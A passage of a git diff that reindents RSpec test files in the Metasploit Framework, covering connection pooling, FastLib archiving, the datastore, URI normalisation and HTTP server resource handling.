ActiveRecord::Base.connection_pool - end + subject(:connection_pool) do + ActiveRecord::Base.connection_pool + end - # Not all specs require a database connection, and railties aren't being - # used, so have to manually establish connection. - before(:each) do - ActiveRecord::Base.configurations = database_configurations - spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] - ActiveRecord::Base.establish_connection(spec) - end + # Not all specs require a database connection, and railties aren't being + # used, so have to manually establish connection. + before(:each) do + ActiveRecord::Base.configurations = database_configurations + spec = ActiveRecord::Base.configurations[Metasploit::Framework.env] + ActiveRecord::Base.establish_connection(spec) + end - after(:each) do - ActiveRecord::Base.clear_all_connections! - end + after(:each) do + ActiveRecord::Base.clear_all_connections! + end - context '#active_connection?' do - subject(:active_connection?) do - connection_pool.active_connection? - end + context '#active_connection?' do + subject(:active_connection?) do + connection_pool.active_connection? + end - # Let! so that Thread is captured before creating and entering new Threads - let!(:main_thread) do - Thread.current - end + # Let! so that Thread is captured before creating and entering new Threads + let!(:main_thread) do + Thread.current + end - before(:each) do - ActiveRecord::Base.connection_pool.connection - end + before(:each) do + ActiveRecord::Base.connection_pool.connection + end - context 'in thread with connection' do - it { should be_true } - end + context 'in thread with connection' do + it { should be_true } + end - context 'in thread without connection' do - it 'should be false' do - thread = Thread.new do - Thread.current.should_not == main_thread - expect(active_connection?).to be_false - end + context 'in thread without connection' do + it 'should be false' do + thread = Thread.new do + Thread.current.should_not == main_thread + expect(active_connection?).to be_false + end - thread.join - end - end - end + thread.join + end + end + end - context '#with_connection' do - def reserved_connection_count - connection_pool.instance_variable_get(:@reserved_connections).length - end + context '#with_connection' do + def reserved_connection_count + connection_pool.instance_variable_get(:@reserved_connections).length + end - let(:connection_id) do - main_thread.object_id - end + let(:connection_id) do + main_thread.object_id + end - it 'should call #current_connection_id' do - connection_pool.should_receive( - :current_connection_id - ).at_least( - :once - ).and_call_original + it 'should call #current_connection_id' do + connection_pool.should_receive( + :current_connection_id + ).at_least( + :once + ).and_call_original - connection_pool.with_connection { } - end + connection_pool.with_connection { } + end - it 'should yield #connection' do - connection = double('Connection') - connection_pool.stub(:connection => connection) + it 'should yield #connection' do + connection = double('Connection') + connection_pool.stub(:connection => connection) - expect { |block| - connection_pool.with_connection(&block) - }.to yield_with_args(connection) - end + expect { |block| + connection_pool.with_connection(&block) + }.to yield_with_args(connection) + end - context 'with active thread connection' do - let!(:connection) do - connection_pool.connection - end + context 'with active thread connection' do + let!(:connection) do + connection_pool.connection + end - after(:each) do - connection_pool.checkin connection - end + after(:each) do + connection_pool.checkin connection + end - it 'should return true from #active_connection?' do - expect(connection_pool.active_connection?).to be_true - end + it 'should return true from #active_connection?' do + expect(connection_pool.active_connection?).to be_true + end - context 'with error' do - it 'should not release connection' do - expect { - # capture error so it doesn't stop example - expect { - connection_pool.with_connection do - # raise error to trigger with_connection's ensure - raise ArgumentError, 'bad arguments' - end - }.to raise_error(ArgumentError) - }.to change { - reserved_connection_count - }.by(0) - end - end + context 'with error' do + it 'should not release connection' do + expect { + # capture error so it doesn't stop example + expect { + connection_pool.with_connection do + # raise error to trigger with_connection's ensure + raise ArgumentError, 'bad arguments' + end + }.to raise_error(ArgumentError) + }.to change { + reserved_connection_count + }.by(0) + end + end - context 'without error' do - it 'should not release connection' do - expect { - connection_pool.with_connection { } - }.to change{ - reserved_connection_count - }.by(0) - end - end - end + context 'without error' do + it 'should not release connection' do + expect { + connection_pool.with_connection { } + }.to change{ + reserved_connection_count + }.by(0) + end + end + end - context 'without active thread connection' do - it 'should return false from #active_connection?' do - expect(connection_pool.active_connection?).to be_false - end + context 'without active thread connection' do + it 'should return false from #active_connection?' do + expect(connection_pool.active_connection?).to be_false + end - context 'with error' do - it 'should not leave connection created for block' do - expect { - # capture error so it doesn't stop example - expect { - connection_pool.with_connection do - # raise error to trigger with_connection's ensure - raise ArgumentError, 'bad arguments' - end - }.to raise_error(ArgumentError) - }.to change { - reserved_connection_count - }.by(0) - end - end + context 'with error' do + it 'should not leave connection created for block' do + expect { + # capture error so it doesn't stop example + expect { + connection_pool.with_connection do + # raise error to trigger with_connection's ensure + raise ArgumentError, 'bad arguments' + end + }.to raise_error(ArgumentError) + }.to change { + reserved_connection_count + }.by(0) + end + end - context 'without error' do - it 'should not leave connection created for block' do - expect { - connection_pool.with_connection { } - }.to change{ - reserved_connection_count - }.by(0) - end - end + context 'without error' do + it 'should not leave connection created for block' do + expect { + connection_pool.with_connection { } + }.to change{ + reserved_connection_count + }.by(0) + end + end - context 'with nested' do - it 'should not reserve another connection in the nested block' do - before_count = reserved_connection_count + context 'with nested' do + it 'should not reserve another connection in the nested block' do + before_count = reserved_connection_count - connection_pool.with_connection do - child_count = reserved_connection_count - count_change = child_count - before_count + connection_pool.with_connection do + child_count = reserved_connection_count + count_change = child_count - before_count - count_change.should == 1 + count_change.should == 1 - connection_pool.with_connection do - grandchild_count = reserved_connection_count + connection_pool.with_connection do + grandchild_count = reserved_connection_count - grandchild_count.should == child_count - end - end + grandchild_count.should == child_count + end + end - after_count = reserved_connection_count + after_count = reserved_connection_count - after_count.should == before_count - end - end + after_count.should == before_count + end + end - context 'without with_connection first' do - it 'should use connection reserved outside with_connection' do - # Using query methods without a block is expected to retain the - # reserved connection - expect { - # access database outside with_connection block - Mdm::Host.count - }.to change { - reserved_connection_count - }.by(1) + context 'without with_connection first' do + it 'should use connection reserved outside with_connection' do + # Using query methods without a block is expected to retain the + # reserved connection + expect { + # access database outside with_connection block + Mdm::Host.count + }.to change { + reserved_connection_count + }.by(1) - outside = reserved_connection_count + outside = reserved_connection_count - connection_pool.with_connection do - inside = reserved_connection_count + connection_pool.with_connection do + inside = reserved_connection_count - inside.should == outside - end - end - end - end - end + inside.should == outside + end + end + end + end + end end diff --git a/spec/lib/fastlib_spec.rb b/spec/lib/fastlib_spec.rb index b5b5547759..f8efb0fbb3 100644 --- a/spec/lib/fastlib_spec.rb +++ b/spec/lib/fastlib_spec.rb @@ -4,229 +4,229 @@ require 'spec_helper' require 'msf/core' describe FastLib do - let(:archived_paths) do - [ - File.join('auxiliary', 'scanner', 'portscan', 'xmas.rb'), - File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') - ] - end + let(:archived_paths) do + [ + File.join('auxiliary', 'scanner', 'portscan', 'xmas.rb'), + File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') + ] + end - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end + let(:base_path) do + File.join(Msf::Config.install_root, 'modules') + end - let(:extension) do - '.fastlib' - end + let(:extension) do + '.fastlib' + end - let(:flag_compress) do - 0x01 - end + let(:flag_compress) do + 0x01 + end - let(:flag_encrypt) do - 0x02 - end + let(:flag_encrypt) do + 0x02 + end - let(:unarchived_paths) do - archived_paths.collect { |archived_path| - File.join(base_path, archived_path) - } - end + let(:unarchived_paths) do + archived_paths.collect { |archived_path| + File.join(base_path, archived_path) + } + end - context 'CONSTANTS' do - context 'flags' do - it 'should have compression' do - described_class::FLAG_COMPRESS.should == flag_compress - end + context 'CONSTANTS' do + context 'flags' do + it 'should have compression' do + described_class::FLAG_COMPRESS.should == flag_compress + end - it 'should have encryption' do - described_class::FLAG_ENCRYPT.should == flag_encrypt - end - end - end + it 'should have encryption' do + described_class::FLAG_ENCRYPT.should == flag_encrypt + end + end + end - context 'class methods' do - context 'dump' do - let(:flag_string) do - flags.to_s(16) - end + context 'class methods' do + context 'dump' do + let(:flag_string) do + flags.to_s(16) + end - before(:each) do - FastLib.cache.clear - end + before(:each) do + FastLib.cache.clear + end - around(:each) do |example| - Dir.mktmpdir do |directory| - @destination_path = File.join(directory, "rspec#{extension}") + around(:each) do |example| + Dir.mktmpdir do |directory| + @destination_path = File.join(directory, "rspec#{extension}") - example.run - end - end + example.run + end + end - context 'without compression and without encryption' do - let(:flags) do - 0x0 - end + context 'without compression and without encryption' do + let(:flags) do + 0x0 + end - it 'should create an archive' do - File.exist?(@destination_path).should be_false + it 'should create an archive' do + File.exist?(@destination_path).should be_false - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true - end + File.exist?(@destination_path).should be_true + end - context 'cache' do - it 'should populate' do - FastLib.cache[@destination_path].should be_nil + context 'cache' do + it 'should populate' do + FastLib.cache[@destination_path].should be_nil - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - FastLib.cache[@destination_path].should be_a Hash - end + FastLib.cache[@destination_path].should be_a Hash + end - it 'should include flags' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + it 'should include flags' do + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - FastLib.cache[@destination_path][:fastlib_flags].should == flags - end + FastLib.cache[@destination_path][:fastlib_flags].should == flags + end - pending "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should include header' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - header = FastLib.cache[@destination_path][:fastlib_header] - modification_time = File.mtime(@destination_path).utc.to_i + pending "Fix https://www.pivotaltracker.com/story/show/38730815" do + it 'should include header' do + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + header = FastLib.cache[@destination_path][:fastlib_header] + modification_time = File.mtime(@destination_path).utc.to_i - header.should be_a Array - # @todo figure out why 12 before header length - header[0].should == 12 - # @todo figure out why header length is 0 - header[1].should == 0 - header[2].should == modification_time - end + header.should be_a Array + # @todo figure out why 12 before header length + header[0].should == 12 + # @todo figure out why header length is 0 + header[1].should == 0 + header[2].should == modification_time + end - it 'should include archived paths' do - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - cache = FastLib.cache[@destination_path] + it 'should include archived paths' do + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + cache = FastLib.cache[@destination_path] - archived_path = File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') - unarchived_path = File.join(base_path, archived_path) + archived_path = File.join('exploits', 'windows', 'smb', 'ms08_067_netapi.rb') + unarchived_path = File.join(base_path, archived_path) - # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be - # in the archive. - File.exist?(unarchived_path).should be_true - cache[archived_path].should_not be_nil - end - end - end - end + # make sure that the unarchived module exists and hasn't be deleted or renamed before expecting it to be + # in the archive. + File.exist?(unarchived_path).should be_true + cache[archived_path].should_not be_nil + end + end + end + end - context 'with compression and without encryption' do - let(:flags) do - flag_compress - end + context 'with compression and without encryption' do + let(:flags) do + flag_compress + end - it 'should create an archive' do - File.exist?(@destination_path).should be_false + it 'should create an archive' do + File.exist?(@destination_path).should be_false - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true - end + File.exist?(@destination_path).should be_true + end - it 'should be smaller than the uncompressed archive' do - uncompressed_path = "#{@destination_path}.uncompressed" - compressed_path = "#{@destination_path}.compressed" + it 'should be smaller than the uncompressed archive' do + uncompressed_path = "#{@destination_path}.uncompressed" + compressed_path = "#{@destination_path}.compressed" - File.exist?(uncompressed_path).should be_false - File.exist?(compressed_path).should be_false + File.exist?(uncompressed_path).should be_false + File.exist?(compressed_path).should be_false - described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) - described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) + described_class.dump(uncompressed_path, '', base_path, *unarchived_paths) + described_class.dump(compressed_path, flag_string, base_path, *unarchived_paths) - File.exist?(uncompressed_path).should be_true - File.exist?(compressed_path).should be_true + File.exist?(uncompressed_path).should be_true + File.exist?(compressed_path).should be_true - File.size(compressed_path).should < File.size(uncompressed_path) - end - end + File.size(compressed_path).should < File.size(uncompressed_path) + end + end - context 'without compression and with encryption' do - let(:flags) do - flag_encrypt - end + context 'without compression and with encryption' do + let(:flags) do + flag_encrypt + end - it 'should create an archive' do - File.exist?(@destination_path).should be_false + it 'should create an archive' do + File.exist?(@destination_path).should be_false - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true - end - end + File.exist?(@destination_path).should be_true + end + end - context 'with compression and with encryption' do - let(:flags) do - flag_compress | flag_encrypt - end + context 'with compression and with encryption' do + let(:flags) do + flag_compress | flag_encrypt + end - it 'should create an archive' do - File.exist?(@destination_path).should be_false + it 'should create an archive' do + File.exist?(@destination_path).should be_false - described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) + described_class.dump(@destination_path, flag_string, base_path, *unarchived_paths) - File.exist?(@destination_path).should be_true - end - end - end + File.exist?(@destination_path).should be_true + end + end + end - context 'list' do - around(:each) do |example| - Dir.mktmpdir do |directory| - @destination_path = File.join(directory, "rspec#{extension}") + context 'list' do + around(:each) do |example| + Dir.mktmpdir do |directory| + @destination_path = File.join(directory, "rspec#{extension}") - FastLib.dump(@destination_path, FastLib::FLAG_COMPRESS.to_s, base_path, *unarchived_paths) + FastLib.dump(@destination_path, FastLib::FLAG_COMPRESS.to_s, base_path, *unarchived_paths) - example.run - end - end + example.run + end + end - # ensure modules expected to be listed actually exist - it 'should use existent unarchived modules' do - unarchived_paths.each do |unarchived_path| - File.exist?(unarchived_path).should be_true - end - end + # ensure modules expected to be listed actually exist + it 'should use existent unarchived modules' do + unarchived_paths.each do |unarchived_path| + File.exist?(unarchived_path).should be_true + end + end - context 'with cached dump', :pending => "Fix https://www.pivotaltracker.com/story/show/38730815" do - it 'should have dump cached' do - FastLib.cache[@destination_path].should_not be_nil - end + context 'with cached dump', :pending => "Fix https://www.pivotaltracker.com/story/show/38730815" do + it 'should have dump cached' do + FastLib.cache[@destination_path].should_not be_nil + end - it 'should list archived paths' do - paths = FastLib.list(@destination_path) + it 'should list archived paths' do + paths = FastLib.list(@destination_path) - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end + paths.length.should == archived_paths.length + paths.should == archived_paths + end + end - context 'without cached dump' do - before(:each) do - FastLib.cache.clear - end + context 'without cached dump' do + before(:each) do + FastLib.cache.clear + end - it 'should not have dump cache' do - FastLib.cache[@destination_path].should be_nil - end + it 'should not have dump cache' do + FastLib.cache[@destination_path].should be_nil + end - it 'should list archived paths' do - paths = FastLib.list(@destination_path) + it 'should list archived paths' do + paths = FastLib.list(@destination_path) - paths.length.should == archived_paths.length - paths.should == archived_paths - end - end - end - end + paths.length.should == archived_paths.length + paths.should == archived_paths + end + end + end + end end diff --git a/spec/lib/msf/base/simple/framework_spec.rb b/spec/lib/msf/base/simple/framework_spec.rb index 8b37a4c48d..7600fd7dad 100644 --- a/spec/lib/msf/base/simple/framework_spec.rb +++ b/spec/lib/msf/base/simple/framework_spec.rb @@ -1,11 +1,11 @@ require 'spec_helper' describe Msf::Simple::Framework do - include_context 'Msf::Simple::Framework' + include_context 'Msf::Simple::Framework' - subject do - framework - end + subject do + framework + end - it_should_behave_like 'Msf::Simple::Framework::ModulePaths' + it_should_behave_like 'Msf::Simple::Framework::ModulePaths' end \ No newline at end of file diff --git a/spec/lib/msf/core/data_store_spec.rb b/spec/lib/msf/core/data_store_spec.rb index 6867cc2c1d..e55d3154ee 100644 --- a/spec/lib/msf/core/data_store_spec.rb +++ b/spec/lib/msf/core/data_store_spec.rb @@ -4,76 +4,76 @@ require 'spec_helper' require 'msf/core/data_store' shared_examples "datastore" do - it "should have options" do - subject["foo"].should == "bar" - subject["fizz"].should == "buzz" - end - it "should have case-insensitive keys" do - # Sorted by gray code, just for fun - subject["foo"].should == "bar" - subject["Foo"].should == "bar" - subject["FOo"].should == "bar" - subject["fOo"].should == "bar" - subject["fOO"].should == "bar" - subject["FOO"].should == "bar" - subject["FoO"].should == "bar" - subject["foO"].should == "bar" - end - context "#to_h" do - it "should return a Hash with correct values" do - subject.to_h.should == { "foo" => "bar", "fizz" => "buzz" } - end - end + it "should have options" do + subject["foo"].should == "bar" + subject["fizz"].should == "buzz" + end + it "should have case-insensitive keys" do + # Sorted by gray code, just for fun + subject["foo"].should == "bar" + subject["Foo"].should == "bar" + subject["FOo"].should == "bar" + subject["fOo"].should == "bar" + subject["fOO"].should == "bar" + subject["FOO"].should == "bar" + subject["FoO"].should == "bar" + subject["foO"].should == "bar" + end + context "#to_h" do + it "should return a Hash with correct values" do + subject.to_h.should == { "foo" => "bar", "fizz" => "buzz" } + end + end end describe Msf::DataStore do - describe "#import_option" do - subject do - s = described_class.new - s.import_option("foo", "bar") - s.import_option("fizz", "buzz") - s - end - it_behaves_like "datastore" - end + describe "#import_option" do + subject do + s = described_class.new + s.import_option("foo", "bar") + s.import_option("fizz", "buzz") + s + end + it_behaves_like "datastore" + end - describe "#import_options_from_hash" do - subject do - hash = { "foo" => "bar", "fizz" => "buzz" } - s = described_class.new - s.import_options_from_hash(hash) - s - end - it_behaves_like "datastore" - end + describe "#import_options_from_hash" do + subject do + hash = { "foo" => "bar", "fizz" => "buzz" } + s = described_class.new + s.import_options_from_hash(hash) + s + end + it_behaves_like "datastore" + end - describe "#import_options_from_s" do - subject do - str = "foo=bar fizz=buzz" - s = described_class.new - s.import_options_from_s(str) - s - end - it_behaves_like "datastore" - end + describe "#import_options_from_s" do + subject do + str = "foo=bar fizz=buzz" + s = described_class.new + s.import_options_from_s(str) + s + end + it_behaves_like "datastore" + end - describe "#from_file" do - subject do - ini_instance = double - ini_instance.stub(:group?).and_return(true) - ini_instance.stub(:[]).and_return( { "foo" => "bar", "fizz" => "buzz" } ) + describe "#from_file" do + subject do + ini_instance = double + ini_instance.stub(:group?).and_return(true) + ini_instance.stub(:[]).and_return( { "foo" => "bar", "fizz" => "buzz" } ) - ini = stub_const("Rex::Parser::Ini", Class.new) - ini.stub(:from_file).and_return(ini_instance) + ini = stub_const("Rex::Parser::Ini", Class.new) + ini.stub(:from_file).and_return(ini_instance) - s = described_class.new - s.from_file("path") - s - end + s = described_class.new + s.from_file("path") + s + end - it_behaves_like "datastore" - end + it_behaves_like "datastore" + end end diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 6922c9e952..6a9f0677e0 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -7,47 +7,47 @@ require 'msf/core/exploit/capture' describe Msf::Exploit::Capture do - subject do - mod = Msf::Module.new - mod.extend described_class - mod - end + subject do + mod = Msf::Module.new + mod.extend described_class + mod + end - it 'should be a kind of Msf::Exploit::Capture' do - subject.should be_a_kind_of Msf::Exploit::Capture - end + it 'should be a kind of Msf::Exploit::Capture' do + subject.should be_a_kind_of Msf::Exploit::Capture + end - context '#stats_*' do + context '#stats_*' do - it 'should show received packets' do - subject.stats_recv.should == 0 - end + it 'should show received packets' do + subject.stats_recv.should == 0 + end - it 'should show dropped packets' do - subject.stats_drop.should == 0 - end + it 'should show dropped packets' do + subject.stats_drop.should == 0 + end - it 'should show interface-dropped packets' do - subject.stats_ifdrop.should == 0 - end + it 'should show interface-dropped packets' do + subject.stats_ifdrop.should == 0 + end - end + end - it 'should respond to open_pcap' do - subject.should respond_to :open_pcap - end + it 'should respond to open_pcap' do + subject.should respond_to :open_pcap + end - it 'should confirm that pcaprub is available', :pending => "Need to test this without stubbing check_pcaprub_loaded" do - end + it 'should confirm that pcaprub is available', :pending => "Need to test this without stubbing check_pcaprub_loaded" do + end - it 'should open a pcap file', :pending => "Provde a sample pcap file to read" do - end + it 'should open a pcap file', :pending => "Provde a sample pcap file to read" do + end - it 'should capture from an iface', :pending => "Mock this? Tends to need root" do - end + it 'should capture from an iface', :pending => "Mock this? Tends to need root" do + end - it 'should inject packets to an ifrace', :pending => "Mock this? Tends to need root" do - end + it 'should inject packets to an ifrace', :pending => "Mock this? Tends to need root" do + end end diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 1812e5f1ad..10b694dd5d 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -5,197 +5,197 @@ require 'msf/core' require 'msf/core/exploit/http/client' describe Msf::Exploit::Remote::HttpClient do - subject do - mod = Module.new - mod.extend described_class + subject do + mod = Module.new + mod.extend described_class - mod - end + mod + end - describe '#normalize_uri' do - let(:expected_normalized_uri) do - '/a/b/c' - end + describe '#normalize_uri' do + let(:expected_normalized_uri) do + '/a/b/c' + end - let(:normalized_uri) do - subject.normalize_uri(unnormalized_uri) - end + let(:normalized_uri) do + subject.normalize_uri(unnormalized_uri) + end - context "with just '/'" do - let(:unnormalized_uri) do - '/' - end + context "with just '/'" do + let(:unnormalized_uri) do + '/' + end - it "should be '/'" do - unnormalized_uri.should == '/' - end + it "should be '/'" do + unnormalized_uri.should == '/' + end - it "should return '/'" do - normalized_uri.should == '/' - end - end + it "should return '/'" do + normalized_uri.should == '/' + end + end - context "with starting '/'" do - let(:unnormalized_uri) do - expected_normalized_uri - end + context "with starting '/'" do + let(:unnormalized_uri) do + expected_normalized_uri + end - it "should start with '/'" do - unnormalized_uri[0, 1].should == '/' - end + it "should start with '/'" do + unnormalized_uri[0, 1].should == '/' + end - it "should not add another starting '/'" do - normalized_uri.should == expected_normalized_uri - end + it "should not add another starting '/'" do + normalized_uri.should == expected_normalized_uri + end - context "with multiple internal '/'" do - let(:unnormalized_uri) do - "/#{expected_normalized_uri.gsub("/", "////")}" - end + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end - it "should remove doubled internal '/'" do - normalized_uri.should == expected_normalized_uri - end - end + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end + end - context "with multiple starting '/'" do - let(:unnormalized_uri) do - "/#{expected_normalized_uri}" - end + context "with multiple starting '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri}" + end - it "should have at least 2 starting '/'" do - unnormalized_uri[0, 2].should == '//' - end + it "should have at least 2 starting '/'" do + unnormalized_uri[0, 2].should == '//' + end - it "should return with one starting '/'" do - normalized_uri.should == expected_normalized_uri - end - end + it "should return with one starting '/'" do + normalized_uri.should == expected_normalized_uri + end + end - context "with trailing '/'" do - let(:expected_normalized_uri) do - '/a/b/c/' - end + context "with trailing '/'" do + let(:expected_normalized_uri) do + '/a/b/c/' + end - let(:unnormalized_uri) do - "#{expected_normalized_uri}/" - end + let(:unnormalized_uri) do + "#{expected_normalized_uri}/" + end - it "should end with '/'" do - normalized_uri[-1, 1].should == '/' - end + it "should end with '/'" do + normalized_uri[-1, 1].should == '/' + end - context "with multiple trailing '/'" do - let(:unnormalized_uri) do - "#{expected_normalized_uri}/" - end + context "with multiple trailing '/'" do + let(:unnormalized_uri) do + "#{expected_normalized_uri}/" + end - it "should have multiple trailing '/'" do - unnormalized_uri[-2,2].should == '//' - end + it "should have multiple trailing '/'" do + unnormalized_uri[-2,2].should == '//' + end - it "should return only one trailing '/'" do - normalized_uri.should == expected_normalized_uri - end - end - end + it "should return only one trailing '/'" do + normalized_uri.should == expected_normalized_uri + end + end + end - context "without trailing '/'" do - let(:unnormalized_uri) do - expected_normalized_uri - end + context "without trailing '/'" do + let(:unnormalized_uri) do + expected_normalized_uri + end - it "should not have a trailing '/'" do - unnormalized_uri[-1, 1].should_not == '/' - end + it "should not have a trailing '/'" do + unnormalized_uri[-1, 1].should_not == '/' + end - it "should return original string" do - normalized_uri.should == expected_normalized_uri - end - end - end + it "should return original string" do + normalized_uri.should == expected_normalized_uri + end + end + end - context "without starting '/'" do - context "with trailing '/'" do - let(:unnormalized_uri) do - 'a/b/c/' - end - let(:expected_normalized_uri) do - '/a/b/c/' - end + context "without starting '/'" do + context "with trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c/' + end + let(:expected_normalized_uri) do + '/a/b/c/' + end - it "should have trailing '/'" do - unnormalized_uri[-1, 1].should == '/' - end + it "should have trailing '/'" do + unnormalized_uri[-1, 1].should == '/' + end - it "should add starting '/'" do - normalized_uri[0, 1].should == '/' - end + it "should add starting '/'" do + normalized_uri[0, 1].should == '/' + end - it "should not remove trailing '/'" do - normalized_uri[-1, 1].should == '/' - end + it "should not remove trailing '/'" do + normalized_uri[-1, 1].should == '/' + end - it 'should normalize the uri' do - normalized_uri.should == "#{expected_normalized_uri}" - end + it 'should normalize the uri' do + normalized_uri.should == "#{expected_normalized_uri}" + end - context "with multiple internal '/'" do - let(:unnormalized_uri) do - "/#{expected_normalized_uri.gsub("/", "////")}" - end + context "with multiple internal '/'" do + let(:unnormalized_uri) do + "/#{expected_normalized_uri.gsub("/", "////")}" + end - it "should remove doubled internal '/'" do - normalized_uri.should == expected_normalized_uri - end - end - end + it "should remove doubled internal '/'" do + normalized_uri.should == expected_normalized_uri + end + end + end - context "without trailing '/'" do - let(:unnormalized_uri) do - 'a/b/c' - end + context "without trailing '/'" do + let(:unnormalized_uri) do + 'a/b/c' + end - it "should not have trailing '/'" do - unnormalized_uri[-1, 1].should_not == '/' - end + it "should not have trailing '/'" do + unnormalized_uri[-1, 1].should_not == '/' + end - it "should add starting '/'" do - normalized_uri[0, 1].should == '/' - end + it "should add starting '/'" do + normalized_uri[0, 1].should == '/' + end - it "should add trailing '/'" do - normalized_uri[-1, 1].should_not == '/' - end - end - end + it "should add trailing '/'" do + normalized_uri[-1, 1].should_not == '/' + end + end + end - context 'with empty string' do - let(:unnormalized_uri) do - '' - end + context 'with empty string' do + let(:unnormalized_uri) do + '' + end - it "should be empty" do - unnormalized_uri.should be_empty - end + it "should be empty" do + unnormalized_uri.should be_empty + end - it "should return '/'" do - normalized_uri.should == '/' - end - end + it "should return '/'" do + normalized_uri.should == '/' + end + end - context 'with nil' do - let(:unnormalized_uri) do - nil - end + context 'with nil' do + let(:unnormalized_uri) do + nil + end - it 'should be nil' do - unnormalized_uri.should be_nil - end + it 'should be nil' do + unnormalized_uri.should be_nil + end - it "should return '/" do - normalized_uri.should == '/' - end - end - end + it "should return '/" do + normalized_uri.should == '/' + end + end + end end diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index e2d4c358e5..84469dea41 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -6,83 +6,83 @@ require 'msf/core' require 'msf/core/exploit/http/server' describe Msf::Exploit::Remote::HttpServer do - subject(:server_module) do - mod = Msf::Exploit.allocate - mod.extend described_class - mod.send(:initialize, {}) + subject(:server_module) do + mod = Msf::Exploit.allocate + mod.extend described_class + mod.send(:initialize, {}) - mod - end + mod + end - let(:mock_service) do - mock_service = double("service") - mock_service.stub(:server_name=) - mock_service.stub(:add_resource) + let(:mock_service) do + mock_service = double("service") + mock_service.stub(:server_name=) + mock_service.stub(:add_resource) - mock_service - end + mock_service + end - before do - Rex::ServiceManager.stub(:start => mock_service) - end + before do + Rex::ServiceManager.stub(:start => mock_service) + end - describe "#add_resource" do - it "should call the ServiceManager's add_resource" do - server_module.start_service + describe "#add_resource" do + it "should call the ServiceManager's add_resource" do + server_module.start_service - mock_service.should_receive(:add_resource) - server_module.add_resource('Path' => 'foo') - end + mock_service.should_receive(:add_resource) + server_module.add_resource('Path' => 'foo') + end - it "should re-raise if the resource has already been added" do - server_module.start_service + it "should re-raise if the resource has already been added" do + server_module.start_service - mock_service.should_receive(:add_resource).ordered - mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) + mock_service.should_receive(:add_resource).ordered + mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) - server_module.add_resource('Path' => 'foo') + server_module.add_resource('Path' => 'foo') - expect { server_module.add_resource('Path' => 'foo') }.to raise_error - end + expect { server_module.add_resource('Path' => 'foo') }.to raise_error + end - end + end - describe "#cleanup" do - it "should not remove resources if none were successfully added" do - server_module.should_not_receive(:remove_resource) - server_module.cleanup - end + describe "#cleanup" do + it "should not remove resources if none were successfully added" do + server_module.should_not_receive(:remove_resource) + server_module.cleanup + end - it "should remove successfully-added resources" do - # setup - server_module.start_service - resources = [ 'a', 'b', 'c' ] - resources.each { |r| server_module.add_resource('Path' => r) } + it "should remove successfully-added resources" do + # setup + server_module.start_service + resources = [ 'a', 'b', 'c' ] + resources.each { |r| server_module.add_resource('Path' => r) } - # The service will add one resource as part of #start_service, so - # add that to the number that we added manually - server_module.should_receive(:remove_resource).exactly(resources.count + 1).times - server_module.cleanup - end + # The service will add one resource as part of #start_service, so + # add that to the number that we added manually + server_module.should_receive(:remove_resource).exactly(resources.count + 1).times + server_module.cleanup + end - end + end - describe "#hardcoded_uripath" do - it "should call the ServiceManager's add_resource" do - server_module.start_service + describe "#hardcoded_uripath" do + it "should call the ServiceManager's add_resource" do + server_module.start_service - mock_service.should_receive(:add_resource) - server_module.hardcoded_uripath('foo') - end + mock_service.should_receive(:add_resource) + server_module.hardcoded_uripath('foo') + end - it "should re-raise if the resource has already been added" do - server_module.start_service + it "should re-raise if the resource has already been added" do + server_module.start_service - mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) + mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError) - expect { server_module.hardcoded_uripath('foo') }.to raise_error - end - end + expect { server_module.hardcoded_uripath('foo') }.to raise_error + end + end end diff --git a/spec/lib/msf/core/module_manager_spec.rb b/spec/lib/msf/core/module_manager_spec.rb index 48cd0e0cb5..9e121a31af 100644 --- a/spec/lib/msf/core/module_manager_spec.rb +++ b/spec/lib/msf/core/module_manager_spec.rb @@ -17,7 +17,7 @@ require 'tmpdir' require 'msf/core' describe Msf::ModuleManager do - include_context 'Msf::Simple::Framework' + include_context 'Msf::Simple::Framework' let(:archive_basename) do [basename_prefix, archive_extension] 